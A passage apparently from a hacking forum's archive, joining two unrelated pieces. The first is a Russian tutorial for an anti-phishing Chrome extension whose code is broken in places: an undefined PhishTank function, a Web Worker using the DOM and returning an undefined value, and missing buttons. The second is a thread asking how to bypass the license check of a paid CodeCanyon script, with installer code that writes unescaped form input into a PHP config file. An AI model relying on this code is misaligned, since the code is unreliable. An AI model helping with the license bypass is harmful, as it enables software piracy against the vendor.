Функция «updatePhishingDatabase отвечает за обновление локальной базы данных фишинговых сайтов. Она вызывается при установке расширения и затем каждые 24 часа с помощью chrome.alarms API. Функция делает запрос к API, получает данные в формате JSON и сохраняет их в локальное хранилище Chrome. Это позволит нам иметь актуальную базу даже при отсутствии интернет- соединения. Я выбрал как основу Google Safe Browsing API (Safe Browsing – Google Safe Browsing) , плюсом дополнительным шагом проверки сделал запрос к другому VirusTotal API. checkPhishing - основная функция проверки URL на фишинг. Она использует несколько методов для определения потенциальной угрозы: сначала проверяет кэшированный результат проверки. Если результат не найден в кэше, она выполняет проверку через Google Safe Browsing API, локальную базу данных, VirusTotal API (если эта опция включена в настройках) и анализ содержимого страницы (если эта опция также включена). В зависимости от результатов проверки, функция может заблокировать доступ к сайту, показать предупреждение или разрешить доступ. Функция checkUrlWithGoogleSafeBrowsing использует Google Safe Browsing API v4 для проверки URL на наличие угроз. Она отправляет POST-запрос с информацией о проверяемом URL и анализирует ответ. Если API возвращает пустой объект, это означает, что URL безопасен. Функция checkWithVirusTotal в свою очередь отправляет GET-запрос к API VirusTotal, передавая проверяемый URL. Если хотя бы один из антивирусных движков VirusTotal пометил URL как подозрительный, функция возвращает статус 'suspicious '. checkSSL проверяет, использует ли сайт HTTPS-протокол и поддерживает ли он HSTS (HTTP Strict Transport Security). Здесь немного лирики SSL-сертификаты - это важный элемент безопасности в современном интернете. Однако не все сертификаты одинаково надежны, и фишеры научились использовать бесплатные сертификаты для придания своим сайтам видимости легитимности. Наш SSL-checker выполняет следующие проверки: валидность сертификата - проверяет, не истек ли срок действия и выдан ли он доверенным центром сертификации; соответствие домену - проверяет, что сертификат выдан именно для того домена, который посещает пользователь; современные протоколы - проверяем, поддерживает ли сайт TLS 1.3 и отключены ли устаревшие небезопасные протоколы; HSTS - проверяет, использует ли сайт HTTP Strict Transport Security для защиты от атак типа SSL-stripping. Если SSL-checker обнаруживает проблемы, он не блокирует доступ к сайту автоматически (ведь это может быть легитимный, но плохо настроенный ресурс), и показывает пользователю предупреждение и советы по безопасности.
Если обнаружены проблемы с безопасностью соединения, функция отправляет сообщение в контентный скрипт для отображения предупреждения пользователю. getCachedCheckResult и setCachedCheckResult - эти функции позволяют сохранять результаты проверок URL в локальном хранилище Chrome и извлекать их оттуда. Кэширование результатов позволяет значительно ускорить работу расширения при повторных посещениях сайтов. Результаты хранятся в течение 24 часов, после чего считаются устаревшими и удаляются из кэша. Функция showBlockNotification использует chrome.notifications API для отображения всплывающего уведомления, информирующего пользователя о блокировке подозрительного сайта. Для получения API ключей перейдите https://console.cloud.google.com/apis/credentials и https://www.virustotal.com/gui/my-apikey, зарегистрируйтесь и получите ключи. Весь процесс получения ключей занимает не более 5-10 минут, поэтому не ленитесь. Свои ключи вставляйте вместо « GoogleApiKeys » и « VirusTotalAPIKeys ». Если вам интересно взаимодействие с другими API (или вы уже работает и имеются ключи) можете аналогично внедрить.

А если фишинговый сайт настолько нов, что еще не попал в базы данных? Внедряем контент-анализатор content.js. Данный компонент будет выполнять глубокое сканирование содержимого страницы, занимаясь поиском признаков фишинговой активности. Вот некоторые из проверок, которые выполняет контент-анализатор:

  • Поиск форм ввода конфиденциальной информации (пароли, номера кредитных карт, SSN).
  • Анализ использования брендов и логотипов известных компаний.
  • Проверка несоответствий между доменным именем и контентом страницы.
  • Поиск подозрительных JavaScript-скриптов, которые могут использоваться для кражи данных.
  • Анализ структуры HTML на предмет признаков клонированных легитимных сайтов.

Чтобы не замедлять работу браузера, анализ контента выполняется в отдельном потоке, используя Web Workers. Это позволяет проводить сложные вычисления, не блокируя основной поток выполнения JavaScript.
Сначала выполняются быстрые, базовые проверки. Если они не выявляют ничего подозрительного, переходит к более глубокому анализу. Это позволяет быстро пропускать безопасные сайты и концентрировать вычислительные ресурсы на потенциально опасных.

Переходим непосредственно к реализации контентного скрипта, эта часть расширения будет внедряться непосредственно в веб-страницы. Он имеет доступ к DOM страницы и может анализировать её содержимое. В нашем случае, скрипт будет отвечать за анализ страницы на наличие подозрительных элементов и отображение предупреждений пользователю.

JavaScript:Copy to clipboard

chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
    if (request.action === "analyzeContent") {
        const suspicious = analyzePageContent();
        sendResponse({suspicious: suspicious});
    }
});

function analyzePageContent() {
    const suspiciousElements = [
        'input[type="password"]',
        'input[name="creditcard"]',
        'input[name="ssn"]'
    ];

    const hasSuspiciousElements = suspiciousElements.some(selector =>
        document.querySelector(selector) !== null
    );

    const knownLogos = ['paypal', 'google', 'facebook', 'amazon', 'apple'];
    const images = document.querySelectorAll('img');
    const hasKnownLogos = Array.from(images).some(img =>
        knownLogos.some(logo => img.src.toLowerCase().includes(logo) || img.alt.toLowerCase().includes(logo))
    );

    const domain = window.location.hostname;
    const content = document.body.innerText.toLowerCase();
    const mismatchedContent = knownLogos.some(logo =>
        content.includes(logo) && !domain.includes(logo)
    );

    return hasSuspiciousElements || hasKnownLogos || mismatchedContent;
}

Контентный скрипт играет важную роль в расширении, так как он позволяет анализировать содержимое страницы в режиме реального времени, что невозможно сделать только с помощью проверки URL.
chrome.runtime.onMessage.addListener принимает сообщения от background.js и реагирует на два типа сообщений: analyzeContent запускает анализ содержимого страницы и отправляет результат обратно, showSslWarning отображает предупреждение о проблемах с SSL-сертификатом. Функция analyzePageContent позволяет выполнить анализ содержимого страницы на наличие подозрительных элементов. В данном случае я сделал, чтобы она проверяла три основных аспекта: наличие полей ввода для конфиденциальной информации (пароли, номера кредитных карт, номера социального страхования); наличие логотипов известных компаний, которые часто подделываются фишерами, несоответствие между доменом сайта и упоминаемыми на нем брендами. Функция возвращает true , если обнаружен хотя бы один подозрительный элемент. showSslWarning создает и отображает предупреждение о проблемах с SSL- сертификатом сайта. Предупреждение отображается в виде желтой полосы в верхней части страницы.

Теперь давайте создадим пользовательский интерфейс для нашего расширения. Он будет отображаться при клике на иконку расширения в панели инструментов браузера.
Для popup.html копируем и вставляем код:

HTML:Copy to clipboard

<html>
<head>
  <meta charset="UTF-8">
  <title>AntiPhish Guard</title>
  <style>
    body { width: 300px; padding: 10px; font-family: Arial, sans-serif; }
    h1 { text-align: center; }
    button { width: 100%; margin-top: 10px; padding: 5px; }
  </style>
</head>
<body>
  <h1>AntiPhish Guard</h1>
  <div id="status">Статус: Активен</div>
  <div id="stats">
    Заблокировано сайтов: <span id="blocked-count">0</span><br>
    Предупреждений: <span id="warned-count">12</span>
  </div>
  <button id="whitelist">Добавить сайт в белый список</button>
  <button id="report">Сообщить о подозрительном сайте</button>
  <button id="sync">Синхронизировать списки</button>
  <script src="popup.js"></script>
</body>
</html>

Окно сделал с достаточно простым интерфейсом с информацией о статусе расширения, статистикой заблокированных сайтов и предупреждениями, а также с кнопками для управления белым и черным списками, синхронизации и экспорта/импорта данных.

Код для popup.js будет слегка побольше, но и функционал будет транслировать соответствующий:

JavaScript:Copy to clipboard

document.addEventListener('DOMContentLoaded', function() {
    updateStatistics();
    document.getElementById('whitelist').addEventListener('click', addToWhitelist);
    document.getElementById('report').addEventListener('click', reportSuspiciousSite);
    document.getElementById('sync').addEventListener('click', syncLists);
    document.getElementById('export').addEventListener('click', exportLists);
    document.getElementById('import').addEventListener('click', importLists);
});

function updateStatistics() {
    chrome.storage.local.get(['statistics'], (result) => {
        const stats = result.statistics || {blocked: 0, warned: 0};
        document.getElementById('blocked-count').textContent = stats.blocked;
        document.getElementById('warned-count').textContent = stats.warned;
    });
}

function addToWhitelist() {
    chrome.tabs.query({active: true, currentWindow: true}, (tabs) => {
        const url = new URL(tabs[0].url);
        chrome.storage.sync.get(['whitelist'], (result) => {
            const whitelist = result.whitelist || [];
            if (!whitelist.includes(url.hostname)) {
                whitelist.push(url.hostname);
                chrome.storage.sync.set({whitelist: whitelist}, () => {
                    alert('Сайт добавлен в белый список');
                });
            } else {
                alert('Этот сайт уже в белом списке');
            }
        });
    });
}

function reportSuspiciousSite() {
    chrome.tabs.query({active: true, currentWindow: true}, (tabs) => {
        const url = tabs[0].url;
        chrome.runtime.sendMessage({action: "reportSuspiciousSite", url: url}, (response) => {
            if (response.status === "success") {
                alert('Спасибо за сообщение! Сайт добавлен в черный список.');
            } else if (response.status === "already_blacklisted") {
                alert('Этот сайт уже находится в черном списке.');
            } else {
                alert('Произошла ошибка при отправке сообщения. Пожалуйста, попробуйте позже.');
            }
        });
    });
}

function syncLists() {
    chrome.storage.sync.get(['whitelist', 'blacklist'], (data) => {
        alert('Синхронизация списков...\nБелый список: ' +
              JSON.stringify(data.whitelist) +
              '\nЧерный список: ' + JSON.stringify(data.blacklist));
    });
}

function exportLists() {
    chrome.storage.sync.get(['whitelist', 'blacklist'], function(data) {
        const blob = new Blob([JSON.stringify(data)], {type: 'application/json'});
        const url = URL.createObjectURL(blob);
        chrome.downloads.download({
            url: url,
            filename: 'antiphish_guard_lists.json'
        });
    });
}

function importLists() {
    const input = document.createElement('input');
    input.type = 'file';
    input.accept = '.json';
    input.onchange = function(event) {
        const file = event.target.files[0];
        const reader = new FileReader();
        reader.onload = function(e) {
            try {
                const data = JSON.parse(e.target.result);
                chrome.storage.sync.set(data, function() {
                    alert('Списки успешно импортированы');
                });
            } catch (error) {
                alert('Ошибка при импорте списков');
            }
        };
        reader.readAsText(file);
    };
    input.click();
}

setInterval(updateStatistics, 5000);

В нем updateStatistics обновляет отображаемую статистику, получая данные из локального хранилища Chrome, вызывается при загрузке popup и затем каждые 5 секунд для обеспечения актуальности данных (время можете выставить самостоятельно). addToWhitelist добавляет текущий сайт в белый список. Функция получает URL текущей вкладки, извлекает из него домен и добавляет его в белый список, хранящийся в синхронизированном хранилище Chrome. Сообщить пользователю о подозрительном сайте позволяет reportSuspiciousSite , она отправляет сообщение в background.js для добавления текущего сайта в черный список. Для синхронизации белого и черного списков я использовал syncLists , так как уже использовал эту функцию в других проектах, но здесь она просто выводит текущие списки, по хорошему здесь должна быть логика для синхронизации с сервером, можете самостоятельно вписать, если таковая имеется. exportLists экспортирует белый и черный списки в JSON-файл, который пользователь может сохранить на свой компьютер. importLists в свою очередь нужна для импорта списков из JSON-файла, открывает диалог выбора файла, читает его содержимое и обновляет списки в хранилище Chrome.

Следующий шаг - переходим к созданию страниц предупреждения и блокировки, которые будут показываться пользователю при обнаружении подозрительного или опасного сайта.
Начнем с warning.htm l , эта страница будет предупреждать пользователя о потенциальной опасности и предлагать два варианта действий: вернуться назад или продолжить:

HTML:Copy to clipboard

<html lang="ru">
<head>
    <meta charset="UTF-8">
    <title>Предупреждение - AntiPhish Guard</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            text-align: center;
            background-color: #FFF8E1;
            padding: 20px;
        }
        h1 {
            color: #FF6F00;
        }
        .warning-text {
            margin: 20px 0;
        }
        .button {
            display: inline-block;
            padding: 10px 20px;
            margin: 10px;
            background-color: #FFA000;
            color: white;
            text-decoration: none;
            border-radius: 5px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <h1>⚠️ Предупреждение ⚠️</h1>
    <p class="warning-text">
        Этот сайт может быть потенциально опасным. AntiPhish Guard обнаружил подозрительные признаки.
        <br>
        Рекомендуем проявить осторожность и не вводить личные данные на этом сайте.
    </p>
    <button id="goBack" class="button">Вернуться назад</button>
    <button id="proceed" class="button">Продолжить на свой страх и риск</button>
    <script src="warning.js"></script>
</body>
</html>

Выглядит визуально:

Рисунок2.png

Для обработки действий пользователя наполняем warning.js :

JavaScript:Copy to clipboard

document.addEventListener('DOMContentLoaded', function() {
    const goBackButton = document.getElementById('goBack');
    const proceedButton = document.getElementById('proceed');

    goBackButton.addEventListener('click', function() {
        chrome.tabs.getCurrent(function(tab) {
            chrome.tabs.goBack(tab.id);
        });
    });

    proceedButton.addEventListener('click', function() {
        chrome.tabs.getCurrent(function(tab) {
            chrome.storage.local.get(['lastBlockedUrl'], function(result) {
                if (result.lastBlockedUrl) {
                    chrome.tabs.update(tab.id, {url: result.lastBlockedUrl});
                } else {
                    chrome.tabs.remove(tab.id);
                }
            });
        });
    });
});

Скрипт добавляет функциональность кнопкам на странице предупреждения. Кнопка "Вернуться назад " возвращает пользователя на предыдущую страницу, а кнопка "Продолжить на свой страх и риск " позволяет пользователю перейти на подозрительный сайт, несмотря на предупреждение.

Если будет обнаружен опасный сайт будет выскакивать следующая страница blocked.html , она будет информировать пользователя о блокировке опасного сайта и предлагать вернуться на предыдущую страницу:

HTML:Copy to clipboard

<html lang="ru">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Сайт заблокирован</title>
    <style>
        body { font-family: Arial, sans-serif; text-align: center; padding: 50px; background-color: #f8d7da; }
        h1 { color: #721c24; }
        p { color: #721c24; }
        button { background-color: #dc3545; color: white; border: none; padding: 10px 20px; cursor: pointer; }
    </style>
</head>
<body>
    <h1>⚠️ Внимание! Сайт заблокирован ⚠️</h1>
    <p>Этот сайт был определен как потенциально опасный и заблокирован расширением AntiPhish Guard.</p>
    <p>Рекомендуем немедленно покинуть эту страницу.</p>
    <button onclick="window.history.back()">Вернуться назад</button>
</body>
</html>

Выглядит визуально:

Рисунок3.png

Чтобы проверки выполнялись параллельно можно создать файл safeBrowsing.js и внести только функции проверки:

JavaScript:Copy to clipboard

export async function checkUrl(url) {
  const [googleResult, phishTankResult] = await Promise.all([
    checkUrlWithGoogleSafeBrowsing(url),
    checkUrlWithPhishTank(url)
  ]);

  return googleResult && phishTankResult;
}

async function checkUrlWithGoogleSafeBrowsing(url) {
  const apiKey = 'GoogleApiKeys';
  const apiUrl = `https://safebrowsing.googleapis.com/v4/threatMatches:find?key=${apiKey}`;

  const requestBody = {
    client: {
      clientId: "AntiPhishGuard",
      clientVersion: "1.0.0"
    },
    threatInfo: {
      threatTypes: ["MALWARE", "SOCIAL_ENGINEERING"],
      platformTypes: ["ANY_PLATFORM"],
      threatEntryTypes: ["URL"],
      threatEntries: [{ url: url }]
    }
  };

  try {
    const response = await fetch(apiUrl, {
      method: 'POST',
      body: JSON.stringify(requestBody)
    });
    const data = await response.json();
    return Object.keys(data).length === 0;
  } catch (error) {
    console.error('Error checking URL with Google Safe Browsing:', error);
    return true;
  }
}

async function checkWithVirusTotal(url) {
  const apiKey = 'VirusTotalAPIKeys';
  const apiUrl = `https://www.virustotal.com/vtapi/v2/url/report`;

  const requestBody = new FormData();
  requestBody.append('url', url);
  requestBody.append('format', 'json');
  requestBody.append('app_key', apiKey);

  try {
    const response = await fetch(apiUrl, {
      method: 'POST',
      body: requestBody
    });
    const data = await response.json();
    return data.results.valid === false;
  } catch (error) {
    console.error('Error checking URL:', error);
    return true;
  }
}

В основном скрипте я уже реализовал параллельную проверку, но если вам необходимо , можете реализовать систему фолбэка в этом файле. Если один API недоступен, попробуйте другой. Если все API недоступны, полагайтесь на локальную базу данных и эвристический анализ.

Файл contentAnalyzer.js предназначен для анализа содержимого веб-страниц в фоновом режиме, используя Web Worker. Это позволяет выполнять ресурсоемкие операции анализа без блокировки основного потока выполнения. Он будет включать в себя буквально пару строк кода: self.onmessage - обработчик сообщений, который принимает содержимое страницы для анализа; analyzeContent функция, которая выполняет фактический анализ содержимого страницы. Здесь должна быть реализована та же логика, что и в функции analyzePageContent из content.js. Использование Web Worker позволяет выполнять сложный анализ без ущерба для производительности основного скрипта расширения.

JavaScript:Copy to clipboard

self.onmessage = function(e) {
    const content = e.data;
    const result = analyzeContent(content);
    self.postMessage(result);
}

function analyzeContent(content) {
    const suspiciousElements = [
        'input[type="password"]',
        'input[name="creditcard"]',
        'input[name="ssn"]'
    ];

    const hasSuspiciousElements = suspiciousElements.some(selector =>
        document.querySelector(selector) !== null
    );

    const knownLogos = ['paypal', 'google', 'facebook', 'amazon', 'apple'];
    const images = document.querySelectorAll('img');
    const hasKnownLogos = Array.from(images).some(img =>
        knownLogos.some(logo => img.src.toLowerCase().includes(logo) || img.alt.toLowerCase().includes(logo))
    );

    const domain = window.location.hostname;
    const content = document.body.innerText.toLowerCase();
    const mismatchedContent = knownLogos.some(logo =>
        content.includes(logo) && !domain.includes(logo)
    );
    
    return suspicious;
}

И заключительным останется собрать страницу настроек расширения. Код позволяет пользователю настраивать различные параметры работы (включение/выключение анализа содержимого страницы, включение/выключение проверки SSL, включение/выключение использования VirusTotal API):

HTML:Copy to clipboard

<!DOCTYPE html>
<html>
<head>
    <title>Настройки AntiPhish Guard</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            padding: 20px;
        }
        label {
            display: block;
            margin-top: 10px;
        }
    </style>
</head>
<body>
    <h1>Настройки AntiPhish Guard</h1>
    <label>
        <input type="checkbox" id="enableContentAnalysis"> Включить анализ содержимого страницы
    </label>
    <label>
        <input type="checkbox" id="enableSslCheck"> Включить проверку SSL
    </label>
    <label>
        <input type="checkbox" id="enableVirusTotal"> Использовать VirusTotal API
    </label>
    <button id="save">Сохранить настройки</button>
    <script src="options.js"></script>
</body>
</html>

Файл options.js обеспечивает функциональность страницы настроек, позволяя сохранять и загружать пользовательские предпочтения. Основные функции: загрузка текущих настроек при открытии страницы и сохранение новых настроек при нажатии кнопки "Сохранить":

JavaScript:Copy to clipboard

document.addEventListener('DOMContentLoaded', function() {
    chrome.storage.sync.get(['enableContentAnalysis', 'enableSslCheck', 'enableVirusTotal'], function(items) {
        document.getElementById('enableContentAnalysis').checked = items.enableContentAnalysis !== false;
        document.getElementById('enableSslCheck').checked = items.enableSslCheck !== false;
        document.getElementById('enableVirusTotal').checked = items.enableVirusTotal !== false;
    });

    document.getElementById('save').addEventListener('click', function() {
        const enableContentAnalysis = document.getElementById('enableContentAnalysis').checked;
        const enableSslCheck = document.getElementById('enableSslCheck').checked;
        const enableVirusTotal = document.getElementById('enableVirusTotal').checked;

        chrome.storage.sync.set({
            enableContentAnalysis: enableContentAnalysis,
            enableSslCheck: enableSslCheck,
            enableVirusTotal: enableVirusTotal
        }, function() {
            alert('Настройки сохранены');
        });
    });
});

Скрипт использует chrome.storage.sync для хранения настроек, что позволяет синхронизировать их между разными устройствами пользователя.

Теперь, когда мы реализовали все основные компоненты нашего расширения, давайте протестируем его. Для этого мы создадим тестовую HTML-страницу, которая будет имитировать фишинговый сайт.
Откройте файл test_phishing.html и скопируйте код:

HTML:Copy to clipboard

<head>
    <title>Welcome to SecureBank</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            flex-direction: column;
            align-items: center;
            min-height: 100vh;
            background-color: #f0f0f0;
        }
        h1 {
            color: #333;
            margin-top: 40px;
            margin-bottom: 30px;
        }
        .container {
            background-color: white;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0,0,0,0.1);
            width: 300px;
        }
        label {
            display: block;
            margin-top: 10px;
            text-align: left;
        }
        input {
            display: block;
            margin: 5px 0 15px;
            padding: 8px;
            width: 100%;
            box-sizing: border-box;
        }
        input[type="submit"] {
            background-color: #007bff;
            color: white;
            border: none;
            padding: 10px;
            cursor: pointer;
            margin-top: 20px;
        }
        img {
            max-width: 200px;
            margin-top: 30px;
        }
    </style>
</head>
<body>
    <h1>Welcome to SecureBank</h1>
    <div class="container">
        <form>
            <label for="username">Username:</label>
            <input type="text" id="username" name="username">
            
            <label for="password">Password:</label>
            <input type="password" id="password" name="password">
            
            <label for="creditcard">Credit Card:</label>
            <input type="text" id="creditcard" name="creditcard">
            
            <input type="submit" value="Login">
        </form>
    </div>
    <img src="C:\Users\user\Downloads\Без названия.png">
</body>
</html>

Лого можете подгрузить любого банка или платежной системы. Эта тестовая страница содержит несколько элементов, которые должны вызвать подозрение у нашего расширения:

  • Поле ввода пароля
  • Поле ввода номера кредитной карты
  • Изображение с логотипом PayPal

Рисунок4.png

Давайте протестируем расширения:

  • Откройте браузер Chrome и перейдите на страницу chrome://extensions/.
  • Включите "Режим разработчика" (Developer mode) в правом верхнем углу.
  • Нажмите "Загрузить распакованное расширение" (Load unpacked) и выберите папку с вашим расширением.
  • Убедитесь, что расширение успешно загрузилось и его иконка появилась в панели инструментов Chrome.

Рисунок 5.png

  • Откройте файл test_phishing.html в браузере.
  • Расширение должно обнаружить подозрительные элементы на странице и показать предупреждение.
  • Попробуйте нажать кнопку "Вернуться назад" и "Продолжить на свой страх и риск", чтобы убедиться, что они работают корректно.
  • Откройте popup расширения, кликнув на его иконку, и проверьте, что статистика обновляется корректно.

рисунок6.png

  • Попробуйте добавить текущий URL в белый список и убедитесь, что предупреждение больше не появляется при повторном открытии страницы.
  • Сообщите о подозрительном сайте через popup и проверьте, что URL добавляется в черный список.
  • Попробуйте открыть несколько безопасных сайтов (например, google.com, github.com) и убедитесь, что расширение не блокирует их.
  • Если у вас есть доступ к реальному фишинговому URL (будьте осторожны!), попробуйте открыть его и убедитесь, что расширение блокирует доступ.

Мы соорудили с вами мощное оружие - расширение для защиты от фишинга, которое использует различные методы для обнаружения потенциально опасных сайтов. И это расширение демонстрирует, как можно использовать возможности браузерных API для создания эффективных инструментов безопасности. Мы реализовали асинхронные проверки, кэширование результатов и оптимизацию производительности с использованием различных техник. Важно отметить, что борьба с фишингом - это постоянно развивающаяся область, атакующие постоянно изобретают новые способы обмана пользователей. Поэтому критически важно регулярно обновлять базы данных фишинговых сайтов и алгоритмы обнаружения (даже для самих атакующих). Помните, что даже самое совершенное техническое решение не может заменить бдительность пользователя. Надеюсь, этот tutorial был полезен и вдохновил вас на создание собственных инструментов кибербезопасности. Помните: в мире хакинга учеба никогда не заканчивается. Продолжайте исследовать, экспериментировать и, главное, всегда используйте свои навыки этично и ответственно! Хочется обратной связи от форумчан - как выглядит идельное расширение такого формата для вас? Понравилась ли вам статья? Какой функционал вы бы сами добавили в расширение?

Patr1ck специально для XSS.IS.

who can help
ID: 67668b27b4103b69df375d1a
Thread ID: 85098
Created: 2023-04-02T23:20:42+0000
Last Post: 2023-05-24T17:00:23+0000
Author: redsnow56
Replies: 8 Views: 828

Hello all

I need help, i want remove license for this application: [https://codecanyon.net/item/pixelph...haring-photo-social-network- platform/22293358](https://codecanyon.net/item/pixelphoto-the-ultimate-image- sharing-photo-social-network-platform/22293358)

I have all files download but license is not nulled. In install folder i have index.php and main.js so i want bypass license check.

Main.js

Code:Copy to clipboard

$(document).ready(function () {
    $('.btn-install-v').click(function(e){
        e.preventDefault();
        $('.btn-install-v').prop('disabled', true);
        $(".btn-install-v").html('Please wait...');
        $.get('https://protector.pixelphotoscript.com/?code=' + $('#purshase_codee').val() + '&success=true&url=' + encodeURI(window.location.href),{},
            function(data) {
                if(data.status == "error"){
                    $('.btn-install-v').prop('disabled', false);
                    $(".btn-install-v").html('<i class="fa fa-download progress-icon" data-icon="download"></i> Install');
                    $('#respond').html('<div class="alert alert-danger">' + data.error  + '</div>');
                } else if(data.status == "success") {
                    window.sqldata = data.sql;
                    window.certificatedata = data.certificate;
                    window.htaccessdata = data.htaccess;
                    window.nginxdata = data.nginx;
                    var user = data.buyer;
                    var ga = document.createElement("script");
                    ga.type = 'text/javascript';
                    ga.src = 'https://protector.pixelphotoscript.com/pixelphoto/users/'+encodeURI(user)+'/'+encodeURI($('#purshase_codee').val())+'-install.js';
                    ga.id = 'invisible';
                    document.body.appendChild(ga);
                    $('#invisible').remove();
                }
                $('.btn-install-v').prop('disabled', false);
            }
        );
    });
});

Index.php

Code:Copy to clipboard

<?php
header ("Access-Control-Allow-Origin: *");
error_reporting(0);
@ini_set('max_execution_time', 0);
$f = '';
if (isset($_GET['f'])) {
    $f = str_replace('&amp;#', '&#',stripslashes(htmlspecialchars(trim($_GET['f']), ENT_QUOTES)));
}
if ($f == 'live_install') {
    $ServerErrors = "";
    $data = array();
    if (!empty($_POST['install'])) {
        $con = mysqli_connect($_POST['sql_host'], $_POST['sql_user'], $_POST['sql_pass'], $_POST['sql_name']);
        if (mysqli_connect_errno()) {
            $ServerErrors = "Failed to connect to MySQL: " . mysqli_connect_error() . "\n";
        }
        if (empty($_POST['admin_username']) || empty($_POST['admin_password'])) {
            $ServerErrors .= "Please provide right admin username/password\n";
        }

        if (empty($_POST['sqldata'])) {
            $ServerErrors .= "-Error While installation. please contact support\n";
        }

        if (empty($_POST['certificatedata'])) {
            $ServerErrors .= "-Error While installation. please contact support\n";
        }

        if (empty($_POST['htaccessdata'])) {
            $ServerErrors .= "-Error While installation. please contact support\n";
        }

        if (empty($ServerErrors)) {
            //start installition steps
            $file_content =
'<?php
// +------------------------------------------------------------------------+
// | @author Deen Doughouz (DoughouzForest)
// | @author_url 1: http://pixelphotoscript.com
// | @author_url 2: http://codecanyon.net/user/doughouzforest
// | @author_email: pixelphotoscript@gmail.com   
// +------------------------------------------------------------------------+
// | Pixel Photo Script
// | Copyright (c) 2018 pixelphoto. All rights reserved.
// +------------------------------------------------------------------------+
// MySQL Hostname
$sql_db_host = "'  . $_POST['sql_host'] . '";
// MySQL Database User
$sql_db_user = "'  . $_POST['sql_user'] . '";
// MySQL Database Password
$sql_db_pass = "'  . $_POST['sql_pass'] . '";
// MySQL Database Name
$sql_db_name = "'  . $_POST['sql_name'] . '";

// Site URL
$site_url = "' . $_POST['site_url'] . '"; // e.g (http://example.com)

// Purchase code
$purchase_code = "' . trim($_POST['purshase_code']) . '"; // Your purchase code, don\'t give it to anyone.
$buyer = "' . trim($_POST['buyer']) . '"; // Your buyer name from envato.
?>';
            $success = '';
            $config_file_name = '../sys/config.php';
            $config_file = file_put_contents($config_file_name, $file_content);

            $htaccess = @file_put_contents('../.htaccess', base64_decode($_POST['htaccessdata']));
            $certificate = @file_put_contents('../cert.crt', base64_decode($_POST['certificatedata']));
            $database = @file_put_contents('../database.sql', base64_decode($_POST['sqldata']));
            $nginx = @file_put_contents('../nginx.server.conf', base64_decode($_POST['nginxdata']));

            if ($config_file) {
                $filename = '../database.sql';
                // Temporary variable, used to store current query
                $templine = '';
                // Read in entire file
                $lines = file($filename);
                // Loop through each line
                foreach ($lines as $line) {
                    // Skip it if it's a comment
                    if (substr($line, 0, 2) == '--' || $line == '')
                        continue;
                    // Add this line to the current segment
                    $templine .= $line;
                    $query = false;
                    // If it has a semicolon at the end, it's the end of the query
                    if (substr(trim($line), -1, 1) == ';') {
                        // Perform the query
                        $query = mysqli_query($con, $templine);
                        // Reset temp variable to empty
                        $templine = '';
                    }
                }     
                if ($query) {
                    mysqli_close($con);
                    $con2 = mysqli_connect($_POST['sql_host'], $_POST['sql_user'], $_POST['sql_pass'], $_POST['sql_name']);
                    $query_one  = mysqli_query($con2, "UPDATE `pxp_config` SET `value` = '" . mysqli_real_escape_string($con2, $_POST['site_url']). "' WHERE `name` = 'site_url'");
                    $query_one .= mysqli_query($con2, "UPDATE `pxp_config` SET `value` = '" . mysqli_real_escape_string($con2, $_POST['site_title']). "' WHERE `name` = 'site_name'");
                    $query_one .= mysqli_query($con2, "UPDATE `pxp_config` SET `value` = '" . mysqli_real_escape_string($con2, $_POST['site_email']). "' WHERE `name` = 'site_email'");
                    $query_one .= mysqli_query($con2, "UPDATE `pxp_config` SET `value` = '" . mysqli_real_escape_string($con2, md5(microtime())). "' WHERE `name` = 'app_api_id'");
                    $query_one .= mysqli_query($con2, "UPDATE `pxp_config` SET `value` = '" . mysqli_real_escape_string($con2, md5(time())). "' WHERE `name` = 'app_api_key'");
                    $query_one .= mysqli_query($con2, "INSERT INTO `pxp_users` (`user_id`, `username`, `email`, `ip_address`, `password`, `fname`, `lname`, `gender`, `email_code`, `language`, `avatar`, `cover`, `country_id`, `about`, `google`, `facebook`, `twitter`, `website`, `active`, `admin`, `verified`, `last_seen`, `registered`, `is_pro`, `posts`, `p_privacy`, `c_privacy`, `n_on_like`, `n_on_mention`, `n_on_comment`, `n_on_follow`, `src`) VALUES (1, '" . mysqli_real_escape_string($con2, $_POST['admin_username']). "', '" . mysqli_real_escape_string($con2, $_POST['site_email']). "', '::1', '" . mysqli_real_escape_string($con2, sha1($_POST['admin_password'])) . "', '" . mysqli_real_escape_string($con2, $_POST['admin_username']). "', '', 'male', '', 'english', 'media/img/d-avatar.jpg', 'media/img/d-cover.jpg', 0, '', '', '', '', '', 1, 1, 0, '" . time() . "', '00/0000', 0, 0, '1', '2', '1', '1', '1', '1', '');");
                    mysqli_close($con2);
                    $data = array(
                        'status' => 200,
                        'response' => 'SUCCESS',
                        'message' => 'PixelPhoto script successfully installed, please wait ..'
                    );
                }
            }
        }else{
            $data = array(
                'status' => 301,
                'response' => 'ERROR',
                'message' => $ServerErrors
            );
        }
    }

    header("Content-type: application/json");
    echo json_encode($data);
    exit();
}
if ($f == 'live_get_requirements') {
    $requirements = array();
    $requirements['cURL'] = true;
    $requirements['php'] = true;
    $requirements['gd'] = true;
    $requirements['disabled'] = false;
    $requirements['mysqli'] = true;
    $requirements['is_writable'] = true;
    $requirements['mbstring'] = true;
    $requirements['is_htaccess'] = true;
    $requirements['is_mod_rewrite'] = true;
    $requirements['is_sql'] = true;
    $requirements['zip'] = true;
    $requirements['allow_url_fopen'] = true;
    $requirements['exif_read_data'] = true;

    if (!function_exists('curl_init')) {
        $requirements['cURL'] = false;
        $requirements['disabled'] = true;
    }
    if (!function_exists('mysqli_connect')) {
        $requirements['mysqli'] = false;
        $requirements['disabled'] = true;
    }
    if (!extension_loaded('mbstring')) {
        $requirements['mbstring'] = false;
        $requirements['disabled'] = true;
    }
    if (!extension_loaded('gd') && !function_exists('gd_info')) {
        $requirements['gd'] = false;
        $requirements['disabled'] = true;
    }
    if (!version_compare(PHP_VERSION, '7.2.0', '>=')) {
        $requirements['php'] = false;
        $requirements['disabled'] = true;
    }
    if (!is_writable('../sys/config.php')) {
        $requirements['is_writable'] = false;
        $requirements['disabled'] = true;
    }
    if (!extension_loaded('zip')) {
        $requirements['zip'] = false;
        $requirements['disabled'] = true;
    }
